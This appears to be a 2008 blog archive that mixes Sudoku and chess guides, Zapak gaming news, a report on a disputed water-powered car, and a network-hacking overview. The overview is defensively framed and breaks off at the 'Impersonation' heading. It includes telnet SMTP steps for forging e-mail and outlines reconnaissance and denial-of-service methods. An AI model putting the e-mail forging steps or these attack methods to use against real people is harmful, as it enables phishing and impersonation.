The last of my Sudoku tips for this article is to look for hidden quads. As the name suggest, hidden quads are four numbers that are restricted to four cells in a row, column, or region. These four numbers are hidden by additional candidates.

Hidden quads are very difficult to find. The good news is I have rarely seen them. (Maybe because they are hidden so well!) They occur only in a few of the more difficult puzzles.

In my example at the left, the hidden quads circled in red are 1,5,6, and 8. It is safe to remove the extra digits (3,4,7,9) from these four cells.

I hope these Sudoku tips will help you in your quest to become a professional Sudoku puzzle solver.

(Zapaky means Zapak Hacking)

Also see:

Sudoku Tutorial

Sudoku Rules

How to play Chess?

How to Play Sudoku? ~ Zapak

2008-10-02T10:58:00.000+05:30

Want To Know How To Play Sudoku?
I will show you how!

Sudoku requires no calculation or arithmetic skills. It is essentially a game of placing numbers in squares, using very simple rules of logic and deduction. It can be played by children and adults and the rules are simple to learn.

Sudoku Objective

The objective of the game is to fill all the blank squares in a game with the correct numbers. There are three very simple constraints to follow. In a 9 by 9 square Sudoku game:

Every row of 9 numbers must include all digits 1 through 9 in any order
Every column of 9 numbers must include all digits 1 through 9 in any order
Every 3 by 3 subsection of the 9 by 9 square must include all digits 1 through 9

Similarly, smaller Sudoku puzzles, such as the 4x4 puzzle, must have the numerals 1 through 4 in each row, column and subsection. Larger Sudoku games (16 by 16) must have numerals 1 through 16 in each row, column and region. The principles are the same whatever the size of the game.

Every Sudoku games begins with a number of squares already filled in, and the difficulty of each game is largely a function of how many squares are filled in. The more squares that are known, the easier it is to figure out which numbers go in the open squares. As you fill in squares correctly, options for the remaining squares are narrowed and it becomes easier to fill them in. The Sudoku games on SudokuDaily.net let you check your progress as you go, to help prevent going down a wrong path.

Sudoku Solution Techniques

The first things to do in tackling a Sudoku puzzle is to scan the rows and columns to see where a certain number might go, given the 3 constraints listed above. For example, the fact that a 7 is required in the top right corner can be determined by first analyzing its 9 square sub-region. The only numbers missing in the region are a 5 and a 7. However, putting a 5 in the top right box would conflict with the 5 already in the top row and the rightmost column. The 7, on the other hand, would not conflict with any of the given numbers.

Once the 7 is filled in, deduction requires that only a 5 can go beneath it as all digits from 1 through 9 must be represented in the region. From there, one can turn to the two remaining open boxes in the right column - these must include a 2 and a 4 as the column's digits must represent 1 through 9. One of these options, placing the 4 beneath the 1, would lead to a conflict with the 4 already in that horizontal row, so the only option for this box must be a 2.

However, options for boxes are often not that easy to deduce. Another technique is to "pencil in" possibilities and then follow the possible solutions that emerge until a conflict is found. Often these conflicts appear after 2 or 3 numbers are penciled in, and one can return to the start and try the next option until something clicks.

The Sudoku puzzles in newspapers make penciling in options very easy. Just put a possible number in a box, click on it, and it is moved to the top left light blue area of the box. From there you can start considering possibilities until the solution to a box or two emerges, or until you need to pencil in another option and start again.

The great thing about Sudoku is that every step makes the next step easier by narrowing possibilities. Every solved box makes filling the next box a little bit easier.

(Zapaky means Zapak Hacking)

Also see:

Sudoku Tips

Sudoku Rules

How to play chess?

Zapak Raises Bar for Casual Gaming

2008-09-29T15:17:00.000+05:30

Zapak Chief Technology Officer and geek, Sudipto Majumdar

Interview with the CTO of Zapak.com
For a gaming portal launched less than two months ago, Zapak.com has been making quite a few waves. Techtree met up with Zapak Chief Technology Officer and geek, Sudipto Majumdar, to get a sneak peek into the games Zapak is playing:

What is the technology used by Zapak.com?

The technology used by Zapak.com is open source, rather the spirit of open source. It could be Linux machines, or open source software that is modified by us, or proprietary software built over and above this. Surprisingly, though Windows is a proprietary software, a lot of programs written on Windows are actually open source.

What led to the birth of Zapak.com?
Zapak is born out of a vision. Rajesh Sawhney, President of Reliance Entertainment, and ironically not a gamer, thought that the strategy for entertainment on PC screens has to be essentially games. He felt games on PC screens are a sort of lean forward - not lean back entertainment, and are sure to appeal to the youth of today. Besides, he knows almost everything there is to know about Internet economy; this helped.

What kind of investment has gone into the venture?
In 2005, the gaming market was worth around Rs 150 crores, and there was just one company, Level Up, on the scene. As such, our first-cut proposal to Reliance was very understated, approximately $22 million. However, we were encouraged to think big so to say, and the investment rose to a figure of nearly $100 million.

Gaming in India is said to be in the nascent stage. What are Zapak's chances in such a scenario?
First of all, we don't feel the market here is in a nascent stage. For us, it's the mix of the right content offered at the right price that would work. And, we plan to offer our downloadable games at prices that suit the Indian pocket.

With the current low level of Broadband penetration in India, how do you see online gaming succeeding?
Currently, there are approximately only between 3- and 4-million Broadband users in the country. But three years down the line, we expect the market to grow. Besides, 95 percent of new Internet connections are all Broadband connections. There are very few people opting for dial-up connections nowadays.

Tell us something about the upcoming GameBox National Championship
The GameBox National Championship is scheduled to take place at Reliance World outlets across 104 cities in India, between Jan 13 and Jan 28. Zapak is the Casual Gaming Partner for the event.

There are two components of this championship: hard core gaming, and casual gaming. A large part of casual gaming typically takes place in cyber cafes, and that is where we come into the picture.

What are Zapak's future offerings going to be like?
Currently, we have casual games in categories including arcade, shooter, racing, etc, all for free. Games based on Salman Khan and Bipasha Basu also come under the casual category. So do the Cricket and Chess games. Besides games, we presently have Zapak email in Beta version, Zapak.tv, and forums on the site.

Next, we plan to offer downloadable games. Roughly speaking, about 50 percent of these will cost Rs 99 each; 25 percent will cost Rs 49 each; and the remaining 25 percent will come for Rs 149 to Rs 249 per game. In the downloadable category, we are looking at titles like Bejewelled, Zuma, and Diner Dash that are popular in the US. We plan to launch these games sometime next month, or latest in March this year.

We will be offering a completely new category sometime in April. This category is already available in USA, Israel, and two or three European countries.

Also in the pipeline is Zapak Girls, a sub property within casual games that is more of a packaging and branding exercise. Zapak Girls will consist of games that are targeted mainly at girls. It will be launched sometime next month.

Yet another offering is our first MMOG (Massively Multiplayer Online Game), for which we are eyeing a huge international title.

Over and above games, we will be launching Zapak email on Feb 1. Unlike other portals, we believe we have an inherent advantage in both aspects of email cost; namely storage space, and bandwidth. We own a lot of bandwidth ourselves, and as regards storage space, we've achieved a breakthrough of sorts in the form of completely distributed architecture.

We intend to feature blogs as well. We feel that a lot of people visit our site with gaming as only an excuse. The real purpose is to chat, have social interaction, and make friends. As such, the gaming community is extremely critical to us.

Even Zapak.tv, the way it exists today, is not the way we envisage it. Presently, most of the content is generated by us. However, we want Zapak.tv to morph into thriving user generated community content.

What is the source of revenue for Zapak?
Currently, we have only casual games, for which advertisements are the only source of revenue. This will remain unchanged even in future. Downloadable games will work differently, and the MMOG will typically have a monthly subscription. The exception would be games with an in-game economy.

How are the celebrity-based games on Zapak faring?
In fact, if we were to categorise our games as A, B, and C, the Puppy Razi game that is based on actor Salman Khan could be placed in category B, with the A listers definitely our Cricket and Chess games.

Everything about Zapak is celebrity oriented. Is Zapak going to be a celebrity portal?
Well, we rope in celebrities because they give us visibility, and create real interest in some parts of the game. There are actually people out there who live out their fantasies through these celebrity based games. Having said that, the most important thing at the end of the day is the gaming concept.

How to Play Chess ?

2008-09-25T21:38:00.000+05:30

Chess rules are relatively easy to learn, I would say that they are somewhere around a medium level of difficulty. What makes the game so complex and beautiful at the same time is the huge number of possible moves at any point during the game.

What you need

Chess is an abstract battle board game played between two opponents.
The ingredients required to play the game are:

a square shaped board divided into 64 squares alternatively colored in black and white;
32 pieces: 16 white pieces for one player and 16 black pieces for the other player.

The chess board is placed in between the two opponents in such a manner that each of them has a black square on the left corner of the board. Both players start off with an identical set of 16 pieces: 8 pawns , 2 rooks , 2 knights , 2 bishops , a queen and a king .

In the table below are shown the 6 types of pieces along with their names and symbols. I should point out that the name and thus the symbol of the pieces is different from one language to another.

Chessman	Name	Symbol
	The king	K
	The queen	Q
	The rook	R
	The bishop	B
	The knight	N
	The pawn	P

Chess board setup

Chess rules

Each player must move one piece at a time. So, in fact, the game is played in a succession of moves. Each piece moves after a certain rule form one square to another and the game always starts with the player having the white pieces, making the first move. A piece can also capture an enemy piece according to certain rules. Some pieces are more important than others depending on their range of action and their value; for example: the queen is the strongest piece on the board because it has the greatest range of action while the king is the most important piece because it is the main piece targeted by the enemy attack. There are times when a move implies the movement of two pieces: when capturing, castling or promoting a pawn; for example when a player captures a piece he takes that piece outside the board and move his own piece in its place.

The purpose of the game

The game revolves around attacking the other side's king. When a king is under the threat of being captured it is said that the king is in check (usually the side attacking the king announce this by saying 'check' but this is not imposed by the rules). When a king is in check it must be moved otherwise it risks being captured (many people don't know this but the king can be captured).

The objective of each player is to checkmate his opponent. That means bringing the enemy king in such a position that when attacked it has no available square on which to move. When a player checkmates his opponent king he wins the game.

While the game evolves both players develop their positions by making various moves and capturing various pieces. This means that the number of pieces will diminish along the game. As you will see in the following articles, because of this, the game's priorities will change along its duration. The rules will remain the same but the objectives will be slightly different. This is why the game can be divided into three different parts depending on the number and the position of the pieces: the opening, the middle game , the end game .

There are times when neither of both sides can win the game. In this case the game ends at equality and it is said to be a draw(a tie). This situations are quite frequent especially when both players are around the same level of expertise. The game doesn't need to be balanced in order for the game to end a draw. This is thoroughly discussed at draw and stalemate .

If the game reaches to a point where the advantage of on side is obvious or a draw is inevitable, the game could be ended if both players agree on the result of the game.

Chess notation

If you want to better understand the chess rules you will have to study various games. In order to do that you will have to know how the games are recorded. There are more than one official ways of writing down a game. We will use in this site only one type of notation, the most common one : algebraic chess notation. The notation is quite simple. In order to realize what went where, each square has its own coordinate. Each row (called a rank) of the board has a number from 1 to 8 and each column (called a file) a letter from a to h, each of those directions starting from the left corner on the side of the white pieces. This way each square, sometimes called a field, has its own unique coordinate (made of the intersection of a line with a column) as shown in the board below. This subject is covered at notation .

In the above paragraph I talked about directions (the rows 1 - 8 and the columns a to h). I should point out that beside those type of directions we also have another type : the diagonals. The diagonals are made of squares of the same color. Look at the following example: through the b3 passes two diagonals d1-a4 and a2-g8 (marked in red), the rank 3 and the file b (marked in green).The diagonal a1-h8 is called the main black diagonal and h1-a8 is called the main white diagonal.

Some other chess rules

There are also some conduct rules you should know about:

Don't pressure your opponent in moving to fast. Remember: this is a game of patience!
If you moved a piece you can't take back your move.
If you touched a piece than you must move that piece. If you want to arrange a piece that might be a little bit outside a square than you must announce your opponent.
If you moved a piece on a square and you didn't take your hand off it, you can move it on another square.

If your opponent lets you, you can take back your move or move a piece different that the one you touched.

This are all the chess rules you need to know for now. There are other rules concerning how the game is played in official competitions that you can find on the world chess federation site, but I suggest you learn them after you know how to play chess. And in order to know how to do that you need to know the chess rules concerning how each piece moves and captures. You can read about that by going to the next article.

Zapak closes beta for Crazy Kart ~ZaPak BeTa

2008-09-25T17:54:00.000+05:30

Zapak Digital Entertainment has closed the beta for its Racing MMOG called Crazy Kart, an popular racing title. Zapak is bringing Crazy Kart in India in association with Shanda Interactive Entertainment.

In the closed beta stage which was running from August to date, Crazy Kart has already over 50,000 registered users and is attracting around 1500 new users everyday.

The key factor for the success of any MMOG in India would be to create the maximum number of access points for the game across the country. Crazy Kart is the first MMOG to have the largest distribution network of over 5000 cafes across 106 cities in the country. This would include Zapak Gameplex, Reliance Worlds and few independent cafés.

Rohit Sharma, COO, Zapak Digital Entertainment, said, "Zapak plans to bring to India some of the world's best MMOG titles by internationally renowned developers. We plan to introduce atleast 5-6 MMOG's with 2 titles to be launched this year. The first title in the series being Crazy Kart. "

"As racing is one of the most popular genres on Zapak.com, we believe Crazy Kart is a strategic fit at this stage for the Indian market and will see early adoption from Casual Gamers. The success we have seen with the closed beta is a reiteration of our beliefs." Sharma says.

Water-Powered Car : Japanese Firm Tests

2008-09-25T15:58:00.000+05:30

Water as its only fuel? Genepax claims the
proof will be forthcoming. (Genepax)

Japanese firm Genepax recently presented a ground-breaking water-driven energy system and demonstrated its ability to power an electric car.

The claim has attracted many sceptics, but Genepax said that it is collecting third-party data to support its technology and is planning a detailed presentation to the media.

During the demonstration in Osaka, Japan, water was poured into a large cell in the luggage compartment of a compact electric car, which subsequently was driven on its own. Sceptics believe that the demonstration was a trick to attract investors, citing similar claims in the past which later proved to be unfeasible.

The news attracted wide media attention in Japan, but Genepax did not disclose the details of its innovation.

"We understand these criticisms since we cannot reveal the core part of this invention," said the company's PR Manager Jun Onishi.

According to Onishi, Genepax is not a car manufacturer but inventor of a system that can "produce heat and electricity from pure water." The demonstration showed that water can be used to power an electric car. The system was used to charge the battery of an electric car manufactured by Takeoka Mini Car Products Co., Ltd.

Genepax's system employs a known method called membrane electrode assembly (MEA), in which hydrogen is used to generate electric currents like in a hydrogen fuel cell. While hydrogen fuel cells require the gas to be filled and stored in high pressure tanks, the hydrogen used in this system comes directly from water.

Genepax's system extracts hydrogen from water more effectively than any other known method. As long as water is added to the system, hydrogen is continuously extracted.

"Our technology needs no outside energy to split hydrogen and oxygen from [water]," explained Onishi. Onishi said that an authorized third party will produce data to backup the company's claims. When the results are ready media will be invited to attend a presentation. A press release will also be issued soon.

Genepax has demonstrated a system with an output of 120 watts and another with 300 watts. The production cost of one system is about $18,500. With mass production the system could cost as low as $5,000, according the Genepax.

"We already have several companies who believe in us and are planning mass production, said Onishi.

Plans are underway to design a 1 kilowatt system that can be used to charge the secondary battery of an electric vehicle, according to a report by Nikkei Tech-on a technical news media network in Japan.

Complete Hacking Explained

2008-09-24T18:10:00.001+05:30

This part will u discuss hacking techniques what is used in the field for some while. Hacking attacks progress in a series of stages, using various tools and techniques. A hacking attack consists of the following stages:

* Target Selection: A hacker identifies a specific computer to attack. To pass this stage, some vector of attack must be available.
* Target Identification: The hacker determines the characteristics of the target before actually engaging it.
* Attack Method Selection: The hacker selects one or more specific attacks to use against the target based on the information gathered in the previous stage.
* Attack Progression: The hacker proceeds with the actual attack or series of attacks

The hacker will attempt to find out more about your network through each successive attack, so the stages above actually feed back into the process as more information is gathered from failed attacks. The major techniques used to accomplish the phases of hacking include:

1. Eaves dropping and snooping
2. Denial-of-service
3. Protocol exploitation
4. Impersonation
5. Man-in-the-middle
6. Hijacking

Once you evaluate your network infrastructure and find weaknesses that a hacker can exploit, you can take measures to shore up your network's defenses.

Eavesdropping and Snooping
The first and easiest things a hacker can do to gain information about your network is simply to listen, and then to ask your network computers information about themselves. The hacker may not even contact your computers directly but instead communicate with other computers that provide services your computers rely on (Domain Name Service computers on the Internet, for example).Networked computers will volunteer a remarkable amount of information about themselves and how they are configured, especially if they are left in their default configurations as supplied by operating system vendors.

Hackers will attempt to exploit any data or network service that is exposed to them. Common hacking practices include (but are by no means limited to) the following activities:

* Password capture
* Traffic analysis
* Network address scanning
* Port scanning
* Finger, Whois, NSLookup, and DNS range grabbing
* SNMP data gathering

Password Capture
Most hacking activities place the hacker at some risk of being detected. One activity that does not pose this threat is eavesdropping on the local networking medium for logon information

Many networking protocols do not encrypt passwords, allowing any computer on the path between the client and the server to "overhear" the username and password. Not all encrypted logon procedures are safe from eavesdropping either, because (if the logon procedure is naive) a hacker can record the username and encrypted password to send to the server later in a "replay attack" or decrypt the password if the encryption algorithm is flawed or weak.

Eavesdropping requires software that will listen to all of the communications that flow over a network medium, such as Ethernet, rather than just listening to communications that are sent specifically to the hacker's computer. An eavesdropping hacker must also have access to a computer that is situated on a network link with network traffic flowing over it (such as a campus Ethernet or a computer in the server room of an Internet service provider). The more data that flows over the link, the more likely the hacker will capture passwords sent in the clear, i.e. in unencrypted form.

While the 802.11b wireless networking protocol broadcasts data in an easily compromised form, the protocol eliminates unnecessary broadcasts by transmitting only those packets directed to the MAC address of the specific wireless adapter involved in the communication. This means that the wireless access points that connect wireless devices to the wired network act like switches rather than hubs. For that reason, 802.11b adapters do not work in the full "promiscuous mode" required for true Ethernet "sniffing" or eavesdropping.

Physical location will not restrict the eavesdropping ability of a hacker who has penetrated other computers on the network. The hacker can install software on those computers that will allow them to snoop as well. The hacker may be typing at a computer in New York while a compromised computer in San Francisco records everything that goes over that remote network for the hacker's later perusal. A determined network intruder may even physically intrude on an otherwise secure LAN and connect a snooping device to the network cable. Casual hackers who are more interested in network joyriding or in finding a place to store their pirated software will seldom exhibit this level of effort (or brave this degree of risk), but other network intruders who might target your network for financial gain could easily do so if you don't take precautions.

Network eavesdropping is a technique hackers can use regardless of the technology used to implement the network. An IPX wide area network is just as vulnerable to someone eaves dropping on network connections as the Internet or an intranet that uses TCP/IP is.

In case you think it might be difficult to remotely install a network sniffer on someone else's network, consider that some versions of Windows Server operating systems include the Network Monitor, a very capable network monitor that can be remotely controlled and is rather easily exploited from afar. While it only records data flowing through the local server, data flowing through servers is typically what a hacker would be looking for.

Snooping Windows passwords over the Internet is surprisingly easy. Microsoft has built in a password Challenge/Response authentication mechanism into Internet Explorer to make secure Intranets easy to build. This mechanism allows a web server to challenge a client for that client's password. The client will respond with the account name of the logged-on user and that user'sone-way encrypted password. The password can be decrypted by comparing it to a list of pre-computed decrypted English words or through a brute-force key space comparison. At this point, a hacker has your account name and password, but you would have had to go to the hacker's website to compromise it.

That, too, is surprisingly easy to force. Imagine your boss sent you an e-mail with a link to a website embedded in it and a note saying, "Check this out they may be competition, what do you think?" Would you click the link? Voila!! you're compromised. Forging e-mail is so easy, it's child's play. A hacker can make his e-mail look like it's coming from anyone. All it takes to discover the correct names and e-mail addresses are a few business cards.

E-mail from nowhere
Telnet to a mail server by opening a command prompt and typing telnet mailserver 25. Use the mail server configured in your e-mail program if you don't know of another one. Best: Telnet directly to the mail server of the recipient, if you can discover it. To discover it, use the NSLookup tool at the command prompt to look up the MX record associated with the recipient e-mail address's e-mail address.

Type the following at the Telnet prompts, pressing return after each listed line. You won't see text until you press return, and when you type the body text you won't see anything until you press a period by itself and hit enter. Replace the text "YOU@YOURSERVER.COM" with your own e-mailaddress.

MAIL FROM:
RCPT TO:
From:
Subject: Concerning your recent activities
Date: Mon, 1 Jan 2003 00:00:01 .
In case you were wondering, forging e-mail is unethical.

QUIT.
Now that you know how easy it is, you should take forged e-mail warnings very seriously.

Network Traffic Analysis
Passwords aren't the only things a determined hacker will listen for while eavesdropping on network traffic. Quite a bit of information about your network can be determined just from the nature of the traffic in and out of your network (or within your network if the hacker has compromised a computer within your security). Some things a hacker will look for include:

* The IP addresses of the source and destination computers of network traffic.
* The locations of gateways and routers.
* The amount of traffic originating from, being sent to, or flowing through computers identifiedby the hacker.
* Particular kinds of network traffic going to or from a computer that might identify thecomputer's function (DNS requests to one computer, or FTP responses from another, forexample).
* Network service availability broadcasts (such as NetBIOS browse list updates) that (from anexternal to a private network) indicate a network security hole or that (within a network) indicate targets for further attack.

The application proxy or Network Address Translation features of a firewall are the best tools for keeping traffic analysis from revealing too much about your network. The firewall will make all of the Internet (or other public network) traffic appears to come from one computer. A hacker from outside will not be able to determine the true extent of your network behind the firewall. You must also configure your firewall not to pass service availability broadcasts beyond your network boundary.

Network Address Scanning
Nearly all hacking attacks these days start with network address and port scanning. The hacker will specify a beginning and ending address to scan, and then the hacker's computer program will attempt to establish a connection to a computer on each of those network addresses in turn. If a computer answers from any one of those addresses the hacker has found another target.

All network technologies that specify an address of one kind or another for each computer on the network are vulnerable to this kind of attack. TCP/IP is the network technology most often scanned by hackers, and tools to scan TCP/IP are widely available. Other technologies such as NWLink,X.25, and FDDI are equally susceptible, if the hacker is willing to find or create the tools necessary to perform the scan.

The best way to foil this kind of attack is to watch for it. A network administrator who determines that this kind of attack is in progress can take steps to halt it, including configuring gateways or routers to discard network traffic from the offending host(s).

You need to configure gateways, packet filters, and routers to log connection requests to hosts that do not exist on your network. Periodically examine log data for network address scanning, and (if the logging software supports it) configure a network alert that will signal if a scan is in progress.

Port Scanning
Once a hacker has identified a target computer, the hacker will attempt to determine which operating system it is running and what services it is providing to network clients. On a TCP/IP-based network (such as the Internet), services are provided on numbered connections called sockets. The set of sockets to which a computer responds often identifies the operating system and supported services of the target computer

There are a number of tools available on the Internet that a hacker can use to determine which sockets are responding to network connection requests. These tools try each port in turn and report to the hacker which ports refuse connections and which do not. The hacker can then concentrate on ports corresponding to services that are often left unsecured or that have security problems.

Port scanning can reveal which operating system your computer is running because each OS has a different set of default services. For example, by scanning the TCP ports between 0 and 150, a hacker can discern Windows hosts by the presence of port 139 in the scan list, NT/2000/XP hosts by the presence of port 135 in the list, and various Unix hosts simply by the presence of TCP/IP services like port 23 (Telnet), which Windows computers do not install by default. This information tells the hacker which tools to use to further compromise your network.

The defense for port scanning is the same as for network address scanning watch for connection attempts to unsupported ports and then deny access to the computers that are doing the scanning. Periodically examine log data for port scanning, and (if the logging software supports it) configure a network alert that will signal if a scan is in progress. Consider setting up a server whose only purpose is to be exploited (a "honey pot") and then simply log every connection attempt to it. If you don't set a DNS name for it and don't advertise its existence, every connection attempt to it is the result of a hacking attempt.

Finger, Whois, NSLookup, and DNS Zone Transfer
There are a number of network services that hackers will use to gather information, if the ports used by those services are enabled on your Internet host. The Finger and Whois services are hacker favorites because they supply the account name and personal contact information for users of network computers. These are useful services for people who need to contact members of your organization or who need to find an e-mail address for a network user, but hackers will take usernames returned by these services and then attempt to break into those accounts by trying commonly used passwords.

By default, Windows does not support Finger or Whois. If you support Unix computers in your network, however, you should either disable these services or curtail the information they return. You can install software for Windows that provides the services, but you probably shouldn't.

Few network users will miss the Finger and Whois services, but the same cannot be said for the DNS service. The DNS service is required by Internet client software to convert human-friendly Internet names such as http://www.microsoft.com/ into computer-friendly IP addresses such as 10.1.1.2. Without the DNS service, the Internet would be useless for public services.

Windows servers do support the DNS service. Most networks that support the use of Internet tools within the network (instead of just the use of Internet tools to connect to services on the Internet) will include support for DNS. A smaller network can rely on an external DNS server to provide Internet name service translation for its clients, but a large IP network or an IP network behind a firewall is difficult to manage without a DNS server of its own. Active directory requires DNS as well.

Hackers can use a DNS service to discover the structure of your network. Since DNS records the IP addresses and Internet names of all of the servers on your network, a hacker can attain a list of the most important computers in your network. The NSLookup tool is a standard Internet program for interrogating DNS servers, and a hacker can craft a program based on the NSLookup that would even make the hacker's computer appear to be a peer DNS server that needs information. Your task is to configure security in a way that allows clients from within to access the DNS server and get the information they need, but also prevents computers from outside your network from getting that information.

You can foil hackers attempting to gather information about the interior of your network by using different public and private DNS servers in your network. Establish internal DNS services for inside clients, and then set your internal DNS servers to forward to an ISP's DNS server for resolution of names not known to your interior DNS machines. Then block inbound DNS requests from the Internet to your inside domain name servers. To publish the names of public servers, either use your ISP's DNS servers or set up an additional pair of outside DNS servers in your DMZ that is used exclusively for public addresses.

The security problem is compounded by the fact that DNS is a hierarchical service. If one DNS server does not have the answer to a query, it will ask the next server up or down the DNS tree. This means that in a traditionally configured network, a DNS service within your firewall will need to be able to communicate with DNS servers outside the firewall. DNS servers are also configured to transfer blocks of Internet name and address data using a feature called Zone Transfer. In addition, many websites will not respond to Internet requests from client computers that don't have DNS reverse mappings, so the Internet servers that run those sites must be able to connect to your DNS server (via their DNS server or the DNS server up the tree from yours) to verify that the DNS reverse mapping exists.

A firewall can solve these problems by handling name translation inside your network. If your network requirements mandate that computers external to your network must be able to resolve IP addresses for computers inside your firewall or vice versa (if you use a software package that does not support use of a proxy server, for example), you should configure your firewall to disallow connections to your DNS server for all external computers except that of the DNS server up the tree from yours. You should also disable zone transfers for all DNS servers except those within your security domain.

SNMP Data Gathering
The Simple Network Management Protocol (SNMP) is an essential tool for managing large TCP/IP networks. SNMP allows the administrator to remotely query the status of and control the operation of network devices that support SNMP. Unfortunately, hackers can also use SNMP to gather data about a network or interfere with the operation of the network

Again, a firewall solves the problem. There's little reason why any computer outside your network should need to query SNMP, so simply block SNMP messages through your firewalls.

Denial of Service
The next easiest attack on your network is to disable some aspect of it or even bring the entire network down. The hacker may be merely interested in inconveniencing your organization, or they may have a more sinister purpose. In any case, you should remember that it is much easier for one computer to impersonate another computer if that other computer is disabled.

There are a number of methods a hacker can use to disable a computer or a service provided by a computer. Most of these methods affect computers using TCP/IP, because TCP/IP is the most widely used inter network protocol and because the most pressing hacker threat is from the Internet.Methods hackers can use to disable computers or computer services include these:

* Ping of Death (malformed ICMP packets)
* SYN (Synchronize Connection Establishments) Attacks and ICMP (Internet ControlMessage Protocol) flooding
* Service Specific Attacks
* DNS Redirection
* Route redirection: RIP (Router Information Protocol), BGP (Border Gateway Protocol), and ICMP
* SNMP reconfiguration

Ping of Death
Perhaps the most ominous sounding of Network layer attacks is the aptly named Ping of Death. A specially constructed ICMP packet that violates the construction rules can cause the recipient computer to crash if that computer's networking software does not check for invalid ICMP packets.

The only solution for computers outside your gateway (or the gateway computer itself) to resist the Ping of Death is to use a version of the operating system that is not susceptible to the Ping of Death. You can shield computers inside your network by not passing ICMP echo packets through your firewall, many new operation systems is protected now for this kind of attacks.

SYN Attacks and ICMP Flooding
Another way hackers disable the networking capability of computers is by overloading the network protocol software of the target computer with connection attempts or information requests. The initial IP packet of a TCP connection attempt is simple and easy to generate (a distinguishing characteristic of these packets is that they have the SYN bit set). Responding to a connection attempt takes more compute time and memory space than generating the packet does, because the receiving computer must record information about the new connection and allocate memory for connection data. An attacker can send one SYN packet after another to a target computer, and that target computer will then be unable to process other connection attempts from legitimate users because all of its available time and memory will be spent processing SYN requests.

A similar network protocol attack is ICMP flooding, in which the hacker sends a constant stream of ICMP echo requests to the target computer. The target computer then spends most of its time responding to the echo requests instead of processing legitimate network traffic.

Keep your firewall and operating system software updated to prevent against these attacks. You should configure your firewalls or servers to log instances of extremely frequent SYN connection attempts or an abnormally high volume of ICMP traffic in order to protect operating systems outside your firewall that may be vulnerable to these attacks.

Service Specific Denial of Service Attacks
Hackers are usually not interested in crashing your computer. The hacker may instead be more interested in shutting down one of the services supported by your network-connected computer.

Although any service provided by your computer may be the target of a service-specific attack ,there are four services that hackers are particularly attracted to, because they are either fundamental components of a TCP/IP network or fundamental components of Windows networking.The four services are RPC, NetBIOS, DNS, and WINS. Other services, such as Chargen or Time, do not provide a sufficiently rich environment for a hacker to have any real chance of using the service to break into or take down your computer.

Network clients connect to specific ports for each network service, and each service expects the network client to send the data to the service in a specific format. The DNS service, for example, expects that data sent to the DNS port from the client is formatted in a different manner than it is forWINS requests, and DNS will not be able to respond properly to WINS requests sent to it.

This is much like real-world services such as those provided by the Department of Motor Vehicles and the Social Security Administration, each of which needs different information from you in order o perform their services, and each of which has different forms for you to fill out. You could send a form requesting a duplicate Social Security card to the DMV, but you would neither get a Social Security card nor a driver's license in return. You must send the right form to the right service.

While the repercussions of sending misleading or incorrect information to government institutions can be severe for the perpetrator, it will have negligible effects on the operation of the government service. However, sending incorrect or nonsense messages to a network service can crash the service, and it is difficult to track back to the hacker.

Many implementations of DNS, RPC, and WINS are particularly vulnerable to receiving random information at their ports. Some implementations of DNS also crash if they receive a DNS response without having first sent a DNS request. You can protect against unsolicited DNS responses by only allowing authorized external hosts to communicate with your DNS server.

The NetBIOS service of Windows is vulnerable to an out-of-band attack sent to the Net-BIOS ports. NetBIOS ports should not be accessible to computers outside your network at all, so the best solution to this problem (after installing the latest version of the operating system software) is not to bind NetBIOS to network adapters that can be reached from outside your network.

DNS Cache Pollution
An additional DNS service attack that deserves special mention is DNS cache pollution. A hacker can observe a computer that provides DNS services and determine the sequence used by the computer to provide query IDs for recursive DNS queries. The hacker can then forge a response to the next DNS query that contains invalid information or information that will redirect Internet traffic to a computer the hacker has already suborned. (The hacker may have to perform a denial-of-service attack on the DNS server being queried in order for the substitution to be accepted by the querying, targeted DNS server.)

This sort of attack can cause client computers that rely on the DNS server to not be able to resolve Internet names into valid IP addresses. That alone can cause problems on a TCP/IP network. More dangerous, however, is when a hacker populates the DNS server with valid IP addresses that are different from the correct IP addresses, especially if the hacker controls the computers at those addresses. A DNS cache pollution attack can therefore be the beginning of an impersonation attack on computers in your network.

Route Redirection (RIP, BGP, ICMP)
A hacker can cause a great deal of havoc in your network if the hacker can get control of your network's routers. Routers direct the flow of information within your network (as well as in and out of it), from information stored in their routing tables. By making changes to those routing tables, a hacker can isolate parts of your network and direct network traffic out of your network.

Routers must adapt to network conditions in order to maintain network functionality in the face of slowdowns or failures in network links. The routers in your network will exchange information about routing conditions, accept routing updates from network administrative programs, and communicate with routers outside your network if you allow them to. These routing updates are transmitted using a routing protocol, usually RIP, OSPF, or BGP.

RIP has no authentication capability. If a hacker can communicate with a router that uses RIP to update its network information, then the hacker can easily reconfigure the router to deny service to computers in your network or redirect the network traffic from computers in your network. OSPF provides more security than RIP does, and BGP is fairly secure about who it will communicate within order to update routing tables.

Another way a hacker can get your computers to send data to the wrong address is to send ICMP redirect packets to the computer. An ICMP redirect packet instructs the computer that an IP packet is being sent to the wrong router and that there is another route to the destination address that is either more efficient, faster, or capable of avoiding a network problem. It is difficult to forge ICMP packets, however, because they must appear to come from the router closest to the originating computer.

SNMP Reconfiguration
Many network devices, including Windows Server computers (if you install the SNMP service for them) can be managed remotely using SNMP. In addition to data snooping, a hacker can use SNMP to reconfigure your network to deny service to network computers or even to route data out of your network-depending on the SNMP features of the device the hacker gains control of

Protocol Exploitation
Protocol Exploitation is currently the most popular form of hacking on the Internet. Protocol exploitation is an attack based on exploiting a bug in a public service in order to gain more access than would normally be allowed.

Buffer overruns
The most common form of protocol exploitation is the venerable buffer overrun, which is an artifact of the way that modern compilers of certain programming languages create programs

In a C or C++ program, when a function allocates a local variable say, to copy data into that variable is placed on the program's stack (e.g., its temporary data region). Then, when the function calls another function, the subsequent function's return value is placed on the stack behind the local variable of the calling function.

By targeting services that run under "root" (Unix) or "Local System" (Windows) security contexts, the code is then free to perform nearly any task. Typically, the code would simply execute a call to open a security hole for further exploitation, such as patching the registry to allow the command console to receive commands from the web service, or passing a system call to download a fully exploitable Trojan horse.

Most programmers never consider the fact that code other than what they write might be executing inside their program. Why would they? Aside from someone actually maliciously changing their code while it executed, this sort of thing would never occur and therefore usually doesn't need to be checked for, so most programmers who learn to program in the safe context of a University computer lab don't get in the wasteful habit of checking everything. Many programmers also presume that the language or the compiler performs these checks for them, which is true for many languages, but it's not so in the case of C and C++, the languages used to write the vast majority of Internet services.

Impersonation
